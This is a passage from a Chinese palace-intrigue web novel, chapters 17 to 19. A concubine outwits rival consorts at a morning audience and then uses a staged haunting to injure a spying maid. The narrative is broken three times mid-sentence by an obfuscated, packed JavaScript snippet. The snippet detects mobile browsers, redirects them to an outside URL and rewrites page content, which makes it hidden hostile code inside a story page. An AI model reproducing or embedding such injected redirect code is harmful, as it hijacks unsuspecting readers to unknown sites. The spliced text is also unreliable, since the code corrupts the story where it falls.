人怕鬼神是天性,就算知道一切都是假的,被吓的瞬间至少也要打个激灵。所以即便当时是真的怕了,过后的忧神忧虑却也完完全全可以演出来。 而如果春桃真是演的,就说明她清楚有人在搞鬼,难保不会顺藤摸瓜觉察出什么。 流萤从不低估敌人的智慧,小心使得万年船。且春桃现已得手了玉净瓶,必定会尽快联系关采曼,断不能给她任何通风报信的机会。 于是眸泛杀意,压低声交代小金子,“若她这次的惶恐仍是装出来的,你且就此收手。只待查清了他们转出宝物的那条线路如何通走,银汉宫再多一个溺水身亡的婢子也不无可能。” 枝头红叶偶有飘落,滑过流萤脸上,恰能遮挡其眸中的寒光。再睁眼已是如炬流转,明亮如星。 秋叶混着霜露浸湿的泥土,是秋天特有的味道。对比宫外的树叶变黄落下,堆积成丘后散发的植物腐败气味。这里的秋意,明显更加清新、更加鲜明。 和叠坐在承德宫定安殿里的各宫娘娘们截然不同。 说起来,这还是流萤第一次参加贤妃宫中的晨昏定省。 雍容雅致的定安殿上,皇后宝座空空摆在正中,左右两边各一把略小的紫檀木椅,由贵妃和贤妃同坐。 流萤赶到,已是最后一个进去的。匆匆扫视一圈,才走到大殿中央规规矩矩行了一礼。 “给贵妃娘娘请安,给贤妃娘娘请安。秋风打脚,嫔妾第一次来没计算好时辰,还望娘娘莫要怪罪。” 面上的事儿流萤乖觉不会差。贤妃见她是朝自己方向跪拜认错的,面容旋即舒朗,并未再与她计较,遥指靠近门口的一张小椅,示意她快些坐过去就好。 虽说贵妃品阶更高,但太后亲旨将晨昏定省的地点定在承德宫,哪怕贵妃不愿,也注定要被贤妃压去一头。 流萤起身向后退,果然不见贵妃面上起什么不悦波澜,合该是司空见惯了。 “贺才人莫不是嫌娘娘给安排的住处远了?还是故意来晚、只为哭一哭腿脚没好利索就得顶秋风而来的艰辛?” 短促而尖锐的嗤笑声蓦地响起,流萤不用抬头,都知道是谁在讥讽她。 17. 结下梁子 “偏你那住处是皇上亲口封赏,前几日罚跪又是因皇上抬爱,真不知道皇上到底疼不疼惜妹妹?”关采曼一口气说得解恨。 其实近来宫里是江绮玉风头正盛,有太后的极力提携,一连数天霸占皇上,早已盖过了曾破格留宿紫宸殿的流萤。若非今日见了,恐怕有些人都要忘了她这个昙花一现的“宠妃”。 可纵然短暂,也算曾耀眼过。只需有意者吹吹风,众人心里燃过的嫉妒枯草,顷刻便又能复燃起来。甚至更胜。 他们对太后庇佑的江绮玉无能为力,可流萤一个穷乡僻壤来的孤女,却任谁都能捏上一把。 于是,有了关采曼冷嘲热讽的起头,议论声便倒豆子似的,从四周滚滚而来。音量虽都不大,但仍蛐蛐得流萤耳根发痒。 她强忍下掏耳朵的动作,兀自往位置上走去。待到彻底坐稳了,那些讨论声儿确认是全都打在棉花上,自觉无趣便也小了下去。 贤妃也见流萤根本不为所动,便知关采曼那个蠢货又是跳出来白费力气。若非她的父亲是文武双壁之一的吏部尚书,有助于提拔阮家后辈,自己又怎会允许这样一个累赘常绊脚边。 遂嫌弃地抿了抿唇,重新捡起流萤进殿前的话头,说起快到寒露、今年又给各宫众人新添置了哪些新鲜玩意儿。 长安的冬季不比陇西强到哪儿去,御寒都得早早抓起。 宫外的贵夫人尚讲究保暖上添彩,更何况宫中女人,势必更在乎华美与否。所以一听贤妃说有新物件,注意力又全都转了过去,无人再盯着流萤不放。 孔映欢坐在流萤的下首,此刻望向贤妃的目光也是灼灼。二人共用一个小几,小几上摆了两盏茶,其中一杯的茶盖微敞,热气缓缓升起,是孔映欢早就打开晾凉的。 可她却拿起流萤手旁的那一盏,送到嘴边喝了才恍然拿错了。 “哎呀!贺姐姐别恼,原是妹妹旁边一直没人的。适才光顾着听娘娘讲了,一个没注意,竟顺手给拿错了。”孔映欢忙放下茶盏娇声说着。 “还好这不是自己的东西,真就不对味儿,才喝一口就尝出来了呢。即便都是同一壶里的茶,也分个茶汤与茶底。” 流萤这杯,是进殿后宫女才给她端上的,自然就是那个茶底。 然孔映欢话里的意思可不止这个。贬损皇帝之前给她的恩宠都是假象,如今江绮玉这个正主来了,自然不会再看她一眼。 流萤听懂了,但并未多气恼。只微不可见扯了扯嘴角,暗笑这帮女人成天就这么点乐子吗? 光会用小话儿割人,几时能掉得了一块儿肉? 遂笑笑回怼,“没关系,有就行。即便没有,我也不馋。” 想斗口舌?她可还没输过谁。 转而眉眼含笑对上孔映欢,顾盼之间流光溢彩,那双勾魂摄魄的琉璃眼更是向上挑起,透露出几分得意与挑衅。 明明只是二人小声斗斗嘴,奈何孔映欢被气得没忍住怒哼了出来,连手上茶盏都一并重重撂在小几上,顷刻引来众人侧目。 从小到大,孔映欢最讨厌别人说她吃不到葡萄说葡萄酸。因为这句话的前提,是她真的吃不到。 “何事?”贤妃沉声发问,显然已有些不悦。说一段话被打断两次,定安殿里还从未有过这样的事。 孔映欢闻声倏地惊醒,担心挨责备,咕噜圈眼睛,张嘴便冲流萤嚷道,“你说谁好景不长!江美人的福泽也是你能大话的?!” 此言一出,不止满殿的嫔妃哗然,流萤更是惊得目瞪口呆。心道这孔映欢也太敢了吧,念及旁边无人作证,便就空口造谣了?! 把“不馋”说成“不长”,还顺带将矛头拐向江绮玉。这手偷梁换柱倒是比方才的扯嘴皮子玩得妙多了,不禁让流萤另眼相看了一次。 不同于此前议论自己时的置若罔闻,眼下的喧闹已然扯上了别人,流萤必须解释一二,不能任由孔映欢颠倒黑白。 可话才到嘴边,却是炸了毛的江绮玉先抢了声,“竟敢咒我好景不长?你是吃了熊心豹子胆吗?!” 江绮玉猛拍扶手,狠狠瞪过来,本是狭长的凤眼,此刻却撑得溜圆。像两个大敞口的火盆,正燃着熊熊怒火,恨不得下一刻就将整盆里的红碳,尽数扬到流萤脸上去。 哪儿还有一点冰雪玫瑰的高贵气质,流萤只觉得当初用这个形容她真真是自己瞎眼了。 “江美人莫生气。”流萤毫不打怵站起了身,从容劝道。 “适才孔宝林喝错了茶,说我的那杯口感不好。我便说都是娘娘赏的,哪一杯也不差。而且我无论怎么说都根本提及不到您那儿去,也不知她怎就空耳成这样,还望江美人莫要怪罪。” 像是为表真诚,流萤说完还行了个半礼,任谁看了都是行得端坐得正的样子,自然也要相信她没有编排江绮玉。那么多嘴挑事的人便是…… 众人纷纷转头看向孔映欢,瞧她果然比刚才慌上几分,裁决立见高下。 虽说他们嫉妒流萤曾得过皇帝非比寻常的青睐,但孔映欢攀炎附势的劲儿更是让许多人都瞧不上。 看谁的笑话不是笑话呢。 “孔宝林是该找太医看看耳朵了。一回听错还行,两回可就说不过去了。别哪天真惹恼了江美人,可就再进不了仁康宫的门了。” 素来坦率直言的叶知秋也是一点没惯着,言辞冷冷,语调冰冰。不仅将此事盖棺定论,还把在场许多人不敢说的心声直直白白亮了出来。就和上次中秋宴当众嘲笑流萤不会吃蟹子时一样。 谁不知孔映欢日日往仁康宫跑,就是为着能借江绮玉的光也得见上皇帝几面。偏江绮玉也是个傻的,三两句恭维瞎话儿,就叫她再看不见孔映欢那双工于算计的眼睛。 才来来回回几日,竟就默许她做了跟班。二人狼狈为奸,仗着有太后庇佑、贤妃包容,没少做任性找茬的事儿。 是以众人有对江绮玉发泄不了的怨恨,自然也就转移到了孔映欢身上。巴不得她出丑。 “姐姐休要听她胡说,方才真的是她对你口不遮拦,我才气不过的。”孔映欢连忙对着江绮玉解释。可她忘了,此刻最需要听她解释的人,是贤妃。 流萤刚刚可是说了她抱怨贤妃赏的茶不好喝。 无中生有,谁不会呢。 流萤偏头睨过去,嘴角暗暗勾起一抹嘲讽的弧度,笑孔映欢自不量力。 孔映欢被气得有口难辩,却仍未想到贤妃这一层。只大意自己许久没跟流萤碰过面,竟忘记了她的伶牙俐齿。还一门心思想着得快些把江绮玉糊弄过去才行,这可是她现在唯一能够得到的大鱼,万不能失手跑了。 于是坚持一副被冤枉的模样,冲着江绮玉直摇头,丝毫没注意到高台而坐的贤妃,面上已经浮出一层冷意。 自太后亲谕将晨昏定省落在她的承德宫,就从未有人敢在此撒野胡闹。即便是高她一阶的贵妃,进了这个门也照样以她为尊。何时不是规规矩矩的?岂容几个小蹄子频频作妖。 贤妃凌厉眼神已经递给立在身旁的琼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339263|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 英,示意她即刻禁言制止,不料流萤的声音却是先一步传了过来。“多谢修媛娘娘肯相信嫔妾。也请贤妃娘娘相信,嫔妾是万不敢拿承德宫的东西乱开玩笑的。” “是啊,清澜这里的茶一直都是顶好的,你们来了正应该多用些才是,有什么好比的呢。” 清澜是贤妃的闺名,满屋也就贵妃敢这样叫了。 贤妃正襟危坐,流萤的话显然是认清了现状,知道自己气在何处。又听贵妃也温声出言堆自己的面子,倒比琼英噤声更有排场,她的神色这才有所和缓。 旋即深邃老练的凤目一扫而下,掠过张牙舞爪的江绮玉和认怂讨饶的孔映欢时,就不由得流出几分鄙夷。 江绮玉有用还不能动,她孔映欢又是个什么东西。 “若孔宝林真觉本宫这儿的茶不好,不喝也就是了。但若是没学好谨言慎行、言出必思的规矩,本宫倒不嫌再让教习嬷嬷重新教教你麻烦。” 贤妃训得威严,没了平日里端贵仁厚的模样,任谁都看得出是真的动怒了。 孔映欢听贤妃只训斥了自己,并未提流萤什么不是,立即扑通跪下,“娘娘恕罪,映欢定牢记娘娘教诲,再不敢胡言造次了。” 她虽不知贤妃为何轻易听信了流萤对自己的污蔑,却也知道不能再过多辩解、惹贤妃不快,只能悉数认下,回头再跟流萤算账。 贤妃索性命人传上来一批新茶,此事便也算翻篇了。 流萤跟着众人一起,端起茶盏品上一口,眼光却是朝贵妃的方向瞄去,发现她也正在看自己,便稍稍颔首,以示感谢。 叶知秋会帮自己,流萤并不意外。但她着实没想到贵妃居然也如此爽快。 宫规言一品妃位可独居一宫。贵妃的仁康宫、贤妃的承德宫,都是再没旁的妃子住入。 然江绮玉进了宫,闻寻却因其名中的“绮”字与仁康宫东偏殿的绮丽阁相通有缘,便直接赐予了她迁入。 闻寻是根本不可能在这种事儿上动什么心思的。必定是太后故意恶心贵妃,只不过借了闻寻的嘴。 但贵妃知晓后倒也什么不满,依旧温顺着性子接纳了。然当听说她还日日好吃好喝供着江绮玉时,流萤便暗自揣测,贵妃或许并非是传闻中那样任由阮家人磋磨、拿捏。 如果她真的惧怕,对待江绮玉就该如同烫手山芋不理不问,好防太后再借此下旁的套,怎可能主动送最容易出问题的吃食。 然而贵妃偏能顶住日日见对家的恶心,依旧笑脸相迎。只能说明这些刁难对比她真正追求的东西,太过小菜一碟。 所以说,贵妃也是在收翼蛰伏。并且内心稳如磐石。 适才,流萤只提及不敢拿“承德宫”的东西乱开玩笑,故意不直言“贤妃”,就是想悄悄观察贵妃听到寝宫时的反应锐利与否。想看她神色是否有变,看她是否真同自己猜测的那样。 若说通过凤仪宫门前罚跪、宝珠二人带回的观察反馈,让流萤知晓了贵妃是个有自己心思的人。那么此次的事,就进一步证明了贵妃是个有自己心思的聪明人。 诚然上次太后借流萤给过贵妃难堪,可贵妃仍能看清当中的是非曲折,只厌憎罪魁祸首的太后等人。不然今日也不会那么爽快接上流萤的话。 就算她再是温顺良善的老好人,也不必在贤妃已经动怒的时候为不相干的人多话。她可是离贤妃最近、最是能第一个察觉到贤妃怒意的人。 流萤想,或许不止她想找贵妃做盟友,贵妃可能也在物色她。 18. 正主现身 了然贵妃心思,流萤便不再往高位嫔妃那边看去,转而悄悄瞄了几眼正坐在对面的安才人。 才人安碧是潜邸老人。更准确的说,在闻寻还未被封太子之前,安碧就已经陪在他身边了。她是宫中特指皇子房事的引教女史,是闻寻真正意义上的第一个女人。 方才孔映欢与流萤起争执的时候,汪芷柔原是要出言相助的,却被流萤那一眼警告瞪了回去。 也正是那一眼,叫流萤瞥见了坐在汪芷柔左手边的安碧。出乎意料,那一双温润柔和的扁圆眼中,竟也有几分担忧之色。 她们很熟吗?不是今日才第一次正式碰面吗?担心她做什么? 而这一连串的疑问也并非流萤没事找事,只因安碧所居泰然宫的主位娘娘正是叶知秋。 叶知秋是王爷的人,方才有意帮自己说话无可厚非,安碧却是比叶知秋还早一步投以忧色。不免让流萤怀疑,安碧是否也和叶知秋一样、都是王爷阵营的人? 如果真是这样,就意味着闻景没跟自己说实话。那么除此之外,王爷就定还有别的事情瞒着她。 流萤越想,越觉得给自己留的那招后手一点没错。 直至从承德宫出来,巳时的日头晃了眼,流萤才暂且停下不去想那些弯弯绕绕,全身心投入到自然阳光里。 深吸一口干燥而爽利的空气,即便如今已脱离了贫苦日子,她依旧珍惜这种不要钱、就能让人幸福的东西。 诶! 谁撞了她一下? 流萤闭目朝天,险些被身后人撞个趔趄。那猛的一下攒足了劲,显然是带着气儿的。准是方才吃瘪的孔映欢和江绮玉二人。 果不其然,江绮玉撞了她连装不都不装,冷哼着睨她一眼,就要越过去走掉。流萤没有追上去质问,只是抓着小金子来扶她胳膊的手狠狠收紧了一下。 “主子,咱们还去藏经阁吗?” 小金子的眼色就体现在此处,若换了宝珠,一定要不忿嘟囔两句。他却是知道在宫里全凭位份高低决定一切,懂得转移矛盾、主动帮主子找台阶下。 流萤心有安慰,但仍紧盯着那两道粉红背影,不肯错漏她们离去的方向。待确定了那条路也能通往藏经阁,才定定点了头跟上。 流萤知道怎么惹怒江绮玉这种没什么耐性的人,一直把控着恰到好处的距离,跟随她、膈应她。时刻提醒她,不能当作无事发生。 碍着宫规,流萤不能以下犯上,可道路这么宽,谁还能不让她走了。 待江绮玉发现了他们主仆二人的行径,果然三步一回头,气得跺脚想甩开。偏他们也跟着加紧了脚步,分寸不落。江绮玉终在一假石山处爆发,回身冲过去,怒目圆瞪指着流萤就喊。 “你作死啊?!跟我那么近,难道还想再推我一把不成?!” 泼妇骂街啥样,她啥样。 尖锐的嗓音瞬间惊动枝头小雀,纷纷扑扇着翅膀着急飞走。有一只吓得临走还甩出几点鸟粪,不偏不倚,正中江绮玉眉心。 见此,流萤之前所有的不快,都随着那两点浓白泛绿一消而散。 尤其是看着江绮玉抓狂惊叫,她更是情不自禁笑了起来,又像是怕笑声太大不雅观,还忙用帕子掩了掩。就连撞自己的那一下,也不准备再与她计较了,全当看这场乐子的门票了。 “狗奴才还杵在那儿干什么呢?赶紧给你们主子擦擦啊!” 孔映欢本是想亲自帮江绮玉擦的。手帕也拿出来了,可一眼看过去,又实在恶心得下不去手,便钳住身旁小宫女的手直接往江绮玉脸上招呼。 不想小宫女一下子没反应过来,手就也不听使唤,竟将那鸟粪胡乱蹭了江绮玉满脸。气得她边跺脚边嚷着要杀了那个宫女。 “什么人在此喧哗?惊扰圣驾,该当何罪!” 听闻圣驾二字,众人瞬间安静跪下。唯有死死闭着眼、怕鸟粪掉进眼睛的江绮玉,像是突然找到了救命稻草,着忙伸胳膊拍打,摸索闻寻的方向。 “皇上您在哪儿啊?您快救救嫔妾吧,嫔妾什么都看不到了!” 尖利的嗓音带上哭腔,听起来更叫人厌烦。闻寻一从假山后绕出,就看见满脸邋遢的江绮玉,隐隐还飘着臭味。厌嫌的眼神明显得不能再明显。 并下意识伸手向后挡了挡。 流萤这才注意到,还有一人紧随闻寻的步子,也绕过假山现身了。 一面天青蓝的千水裙先款款映入眼帘,莲步翻起层层波浪,露出一双素白暗纹的云履鞋,清贵得紧。待到平身抬眼,她才看清那张曾被自己喻为冰雪玫瑰的脸,竟比之更加惊心动魄地出现在了自己眼前。 原来这就是传闻中的凝婕妤,卢访烟。当真是清艳高贵、美得不可方物。 对比江绮玉,二人同样是冰肌玉骨的皮相,卢访烟却在气质和打扮上都多添一份霜覆枝头、傲雪而立的破碎美感。让人心疼、让人忍不住爱护。 但也更让人嫉妒。 流萤瞥见身旁孔映欢震惊的神色里,分明还藏着也想将鸟粪涂到卢访烟脸上的冲动。奈何江绮玉看不到,仍胡乱摸索往前凑,可才走两步便被闻寻抬脚踹倒。沉声利落叫她滚。 江绮玉不敢相信有人敢踹她,可那声音又分明如此熟悉,正是她魂牵梦绕的没错。遂也顾不得眼前什么腥臭,袖子随意擦擦便睁开眼。 不料模糊视线里,竟比预计的还多出个女人。江绮玉以为是流萤先她一步攀附到闻寻身边,不觉更气,一只手使劲揉着眼睛,另一只手竟就想去拽“流萤”的袖子。却直接被闻寻一掌拍下。 江绮玉气急瞪大了眼才看清那根本不是什么流萤,而是一张和自己一模一样的脸。立刻知道了是谁。 她有些慌。 但转念想起太后曾交代过的话,立即恢复了底气。扭到闻寻身旁,狠狠剜了一眼卢访烟,才继续娇滴滴跟闻寻告起状来。说流萤蓄意跟踪害她出丑。 “江美人也把我夸得太厉害了吧。”感受到闻寻朝自己看了过来,流萤没法再默不作声,不慌不忙说道。 “且不说空中飞鸟非我所养。就算是,我自问也没那个本事能叫它们猜得懂人心。再有你说我跟踪?我走这条路是要去藏经阁,怎么江美人如今也改了爱好吗?” 浅而小的梨涡一直雀跃在流萤细嫩的脸颊上,那阳光下熠熠生辉的样子,直能把江绮玉气死。 江绮玉能歌善舞,宫里人尽皆知。同样,她只是户部侍郎府上收养的义女一事,也无法隐瞒。不同于正经嫡女,女子无才便是德,是她十年来唯一学过的学问。 江绮玉不甘心被嘲讽胸无点墨,死死攥着拳仍要与其争论,但话未出口却先被闻寻打断。 “你去藏经阁做什么?” 闻寻收回了挡在卢访烟身前的手,沉声去问流萤。 流萤微怔,下意识扫卢访烟一眼,才道出早有准备的说辞,“嫔妾最近在学画,想找几幅感兴趣的图借回去描摹试试。” 其实她是想去查查那个名叫“子诀”的名家,究竟有何来头。闻寻两处常待的宫室都有此人的画作,足可见对其的喜爱。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339264|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >既然还想当闻寻的宠妃,她就得投其所好、做足准备。这样再见面也能多些共同话题,省得俩人一碰面就针尖对麦芒,何时才能正眼相看。 包括她让小金子把自己随手画的裱起来挂上,也是以防有人问起,好不落口舌。 闻寻不屑,动动唇就想说她“狗爪子也能作画了?” 可也不知是当着卢访烟的面儿太粗俗的话不想说,还是怕流萤听了又要跟自己梗脖子耽误事儿。闻寻终归只是上下滑动了喉头,将话忍了下去。 再多看一眼流萤,又隐隐觉得几日不见她好像略有不同,但具体哪儿变了,闻寻一时间又说不太上来。 甚至另斜旁边的孔映欢一眼想做个对比,虽叫不上其名,但那女子流露的神色才是他印象中这些女人们最常有的。 奇怪。 闻寻想不通就莫名烦躁,忿忿一甩袖子带上卢访烟便走了。任凭江绮玉喊破了天,他也只如无情落叶一般,一步不带停的。 只是令所有人都没想到,到了晚间,闻寻竟又舍弃了卢访烟,反传江绮玉前去侍寝了。 “难道凝婕妤真的要失宠了吗?” 熠光殿里,宝珠一边给流萤捏着腿,一边忧心忡忡地问。她不敢相信,也不愿相信,如果非要在两者之间选一个,那么宝珠情愿让更清绝孤标一些的卢访烟来做主子的对手。 流萤笑而不语,反手招呼立在门口的小金子过来,“你来答她。” 小金子闻声,照旧先冲外院张望了两眼,才轻手轻脚走进。他看懂流萤眼中的期待,说起自己的想法一点便也不含糊,“奴才觉着,皇上这样反而是在保护凝婕妤。” 没错。 流萤也是通过此事,真正确认了闻寻与太后之间的隔阂,绝非一般母子间的叛逆那样简单。 更准确的说,闻寻对太后应该也是有恨的。虽不及王爷对太后那般毁了人生的恨意深,但对流萤来说,俨然已是天大的好事。 “太后找来一个跟盛宠的凝婕妤九成相似的女子硬塞给皇上,为的无非是分她恩宠。”流萤继续小金子的话说下去。 “可倘若皇上不遵从太后的心意,依旧我行我素。你猜,太后的这股怒火最终会撒到谁的身上?” 其实后宫的女人归根结底就只有一个任务,那就是繁衍皇嗣。使劲手段争宠的最终目的也是这个。为自己,后半辈子能有着落。为家族,一人登顶满族荣光。 亦如太后当年操纵闻寻上位,她现在迫切想要的仍是一个能拿捏在手的皇子。 从前太后不干预“猜数侍寝”,是不想在阮家女人生下皇子之前再有别的威胁出现。后来找到了貌美身娇的江绮玉,自然就要以充盈皇嗣为由,名正言顺为其铺路。 皇后年纪尚小,要想有嫡子,最早也要两年后。贤妃虽一直喝补药,却始终不再见动静。是以借腹生子,便是眼下最快速、最准当的法子。 江绮玉出自户部侍郎府,府中主母与镇国大将军的夫人是亲姐妹,早已属阮家一派。若不论义女一说,江绮玉还得跟贤妃喊句表姐、跟皇后道声表妹。 是以她的孩子,自然能归太后所掌控。 如今太后按着闻寻喜欢的样子挑女人也算是煞费苦心了,若他还不领情,拗着不配合,那倒霉的自然就得是一切诱因源头卢访烟。 只有正品消失,替代品才能一直享有偏爱。 宝珠咂咂嘴,似乎也明白了其中道理。两条小眉毛旋即拧在一起,粗粗叹气感慨道,“皇上竟然那么喜欢凝婕妤,那他还会喜欢主子吗?” 19. 计划初成 宝珠跟小金子想的不一样,同样身为女人,她更满心满眼都是流萤的感受。只希望皇上的心别全被凝婕妤占去了才好。 流萤听了,虽手上直朝宝珠的屁股上招呼,心里却是浅浅浮上层暖意。 是不是真的关心,她看得出来。继而面露微笑对宝珠说,“去叫上春桃烧点沐浴水吧,今天我想多泡一会儿。” 说完还拉起宝珠的手,转转她腕上那串并不规整的无患子手串,眼色略显复杂。半晌才意味深长嘱咐道,“这个东西管用,只要日日戴着,就什么也不用怕。” 宝珠不解,出门从小金子身边经过时,又听他低语一句,什么等会儿别离锅台太近。 真是好生奇怪,不近锅台要怎么烧水呢? 直到暖阁的门窗皆被吹开,拍打进来的诡异阴风险些掀翻烧锅,宝珠这才恍惚明白了那二人说的都是什么意思。 木门框磕到墙壁叮当作响,把正在添柴煽火的春桃吓了一大跳,忙抚着心口慌慌就找宝珠确认,“宝珠姐姐,方才是你关的门吧?” “是啊!我关得好好的呢。”宝珠看似随意地答道。 她想起流萤的话,心下已有了较量,便兀自稳定心神,走过去把门重新插上。 “都来这么久了,你还怕这个啊?刮妖风不是咱们宫里常有的事儿嘛,改明儿求主子也给你做个辟邪手串戴上就好了。” 因为是背对着春桃,宝珠更容易装出几分漫不经心,越说到后面越真。 宝珠暗暗告诉自己,多半是小金子捣的鬼。所以在关上门的最后一刻,还特意偷向外张望了两眼。 春桃也将信将疑去关窗户,可她把手伸到外面,却没感觉到有什么风。再看已经关好门往屋里走的宝珠,又全然一幅少见多怪的样子。她也只能麻利地将窗子一一关好,重新回到锅台前等水开。 可没多会儿,那几扇窗户竟又嚯地齐开,春桃觉出真的有些不对。 于是这次再去关窗时,便特意探头出去四下看看,确定外头实在没什么异常才欲转身往回走。不料才刚转身,身后就好似突然长出一双无形的铁手,死死钳住了她,寸步难移。 春桃这下真的慌了。 她明明才看过窗外什么都没有的啊!难道这儿真有什么不干净的东西?! 思虑间,那股无形的禁锢也火速上移,从无法动弹的双腿蔓延至呼吸艰难的胸膛。春桃费了好大力低头一看,自己胸前竟不知何时多出一条瘆白飘带来!恰似夺命缠绕的白蛇! 她立即伸手去扯,却全然扑了个空,仿佛那根飘带从未存在过一般。 瞬间就侵入四肢百骸的恐惧感,让春桃再不敢细想,只疯了一样扯着嗓子喊宝珠快来救救自己。 可饶是宝珠已有所准备,一见她那张牙舞爪、惊叫失魂的模样仍不免背脊发凉。胸膛里砰砰的心跳,更是就快要盖过春桃的呼喊。 宝珠本能闭紧眼,但本性里的良善,最终还是驱使她颤抖向前去够春桃的手,想要将她拉回来。 不料才刚用力,束缚在春桃身上的那股神秘力量竟倏地消失了,二人一下子失了重心,接连摔倒在地。 然而就在倒地的前一瞬,宝珠确定看到了窗外小金子的身影一闪而过!焦灼大张的嘴型,仿佛还在提醒她,“快跑”! 冰凉的泥地惊醒思绪,宝珠一抬眼就看见头顶还烧着的锅台,霎时想起小金子要自己离远些的叮嘱,立即一个翻身就往旁边骨碌滚开。 正正躲过了下一刻便炸裂翻开的烧锅! 那锅中冒着泡的滚水,顷刻间就如烟花炸开满天。高高溅起、又猛猛落下,砸在地面瞬间化出无数白烟水汽,将她们二人彻底隔绝开。 尖利的女声一直在模糊中高呼不断,直到水汽彻底散去,宝珠才看清春桃身上的衣裳已然尽湿,发髻也淌淌流着水。脸和手则烫红一片,几个肉眼可见的薄皮水泡就在一瞬间变大。 “你别乱动!我这就去叫主子!”宝珠极快留下一句话,就风一样跑了出去。 虽然知道春桃来意不善,可那触目惊心的模样还是惹得宝珠落泪,看见流萤,便一下子扑跪过去,想求她先给春桃上点药。 流萤叹了口气,冲小金子点了点下巴,示意让他去善后。自己则拉起宝珠进了屋,待仔细检查过宝珠身上没被烫伤,才郑重对其说道,“今日之事,我得向你道歉。” 宝珠听了立即摇头摆手,哪儿有主子给奴才道歉的。再说,道的又是什么歉。 流萤继续说道,“春桃不是贤妃的人,而是关采曼派来的,是以之前小金子用彩秀使过的那些障眼法才没能完全唬住她。她只是装给我们看的。” “好在发现得及时,只要今日之事成了,一切就仍在掌控之中。又因我觉着若春桃见了你也在旁边一起被吓到,定能更加信以为真,故而没有事先告诉你,让你涉险了。” 流萤的眸子真诚似含烟水,温润而清澈。不仅因为她一直走暖心路线收拢这俩奴才,更是因为实诚待自己的宝珠,值得她这一句抱歉。 等见宝珠一点点消化了纷杂思绪,流萤才慢慢换掉方才的柔声细语,说起了此次瞒着她更为重要的目的。 “宝珠,你要永远记着,对敌人心软、就是对自己心狠。春桃今日盗走咱们宫中的玉净瓶,若明日事败皇上怪罪下来,受罚的就是你我主仆,而且下场只会比她今日更惨。” 流萤知道宝珠心地善良。但越是心软善良之人,越容易在大事上犯糊涂。 若有朝一日,宝珠真在重要关头上办了错事,流萤很难保证自己能够大度地看在往日情分上原谅她。 所以为了根除隐患,流萤必须用这种见骨见血的方式教给宝珠。或许有些残忍,但却是最能叫她成长、最能叫她刻骨铭心的。 “主子不必道歉,奴婢哪儿也没伤到。”说话间宝珠还起身转了一圈,展示给流萤看。 她本就不会怪流萤,再听到这般跟自己解释,更是一丝芥蒂都没有。 宫中奴才命如草芥,又有几个主子真把他们当人看呢?遇上流萤这种平易近人的,宝珠只觉得自己已经幸运得不能再幸运了。哪怕真的受了点伤,也全当是报答主子平日对自己的宽待了。 遂一抹脸上半干的泪水,跪下就冲流萤表起决心。 “其实奴婢看见窗外真是小金子的时候,就全然不害怕了!而且您跟小金子之前都提醒过奴婢,奴婢应该再早点想明白才对。” “主子教育的是,同情坏人,就等于亲手往坏人手里递刀子。奴婢以后一定多加注意,绝不给任何人伤害主子的机会!” 流萤本不欲教谁弃善从恶。 她已是恶人,自是深知恶人的快乐统统建立在别人的痛苦之上。她自己没得选,不代表就也要把这种羁绊强行加注到别人身上。 可看着明明比自己还长上一岁、却心思单纯像个稚童的宝珠,流萤第一次觉得自己这样告诫人、没错。 谁叫她活在吃人都不吐骨头的皇城宫。 甚至感叹,若非宝珠一进宫就因没钱打点内侍监而被扔到此处,恐怕早已做了谁的刀下亡魂。 于是扶起跪在地上的宝珠,笑着轻拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339265|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她手说道,“是啊,你聪明的紧呢。猜到是小金子捣鬼,便能一下子想到跟春桃说银汉宫时常刮妖风,直接把之前小金子吓她的那些事儿又巩固了一遍,岂不正是顺我的意?” 宝珠说这句话的效果,确实比流萤预计的更好。 暖阁的门窗需要一齐撞开才显诡异,光靠小金子自己肯定来不及,流萤便也跟来负责推门。而后则一直躲在外面,因此宝珠说的她一字不落,当时就在心里给了肯定赞许。 想到此,流萤唇边的笑意又深了几分,直言表扬起宝珠来,“而且今日你还确切跟踪到了春桃的动向,更是大功一件!” 白日从藏经阁空手而归,流萤正觉心中烦闷,宝珠便伺候她回屋拆了发钗,准备小睡片刻,动手的间隙也就顺口讲了她不在宫中时发生的事儿。 原来春桃在流萤走后半个时辰,也寻了要去尚食局提午膳的由头出宫了。 宝珠时刻谨记流萤要自己看着春桃的交代,自然不会放任不管,心里默数十个数就悄悄跟上了。果然见她没有直接往尚食局去,而是绕了远道先往尚服局的方向走了。 起初宝珠也不知道春桃要去的是尚服局,而是春桃最后贼摸摸停下的那个拐角,往前再走两个甬道就是尚服局,她才如是猜测。 只见她春桃双手紧提食盒,眼睛不住地往拐角后面的甬道里张望。 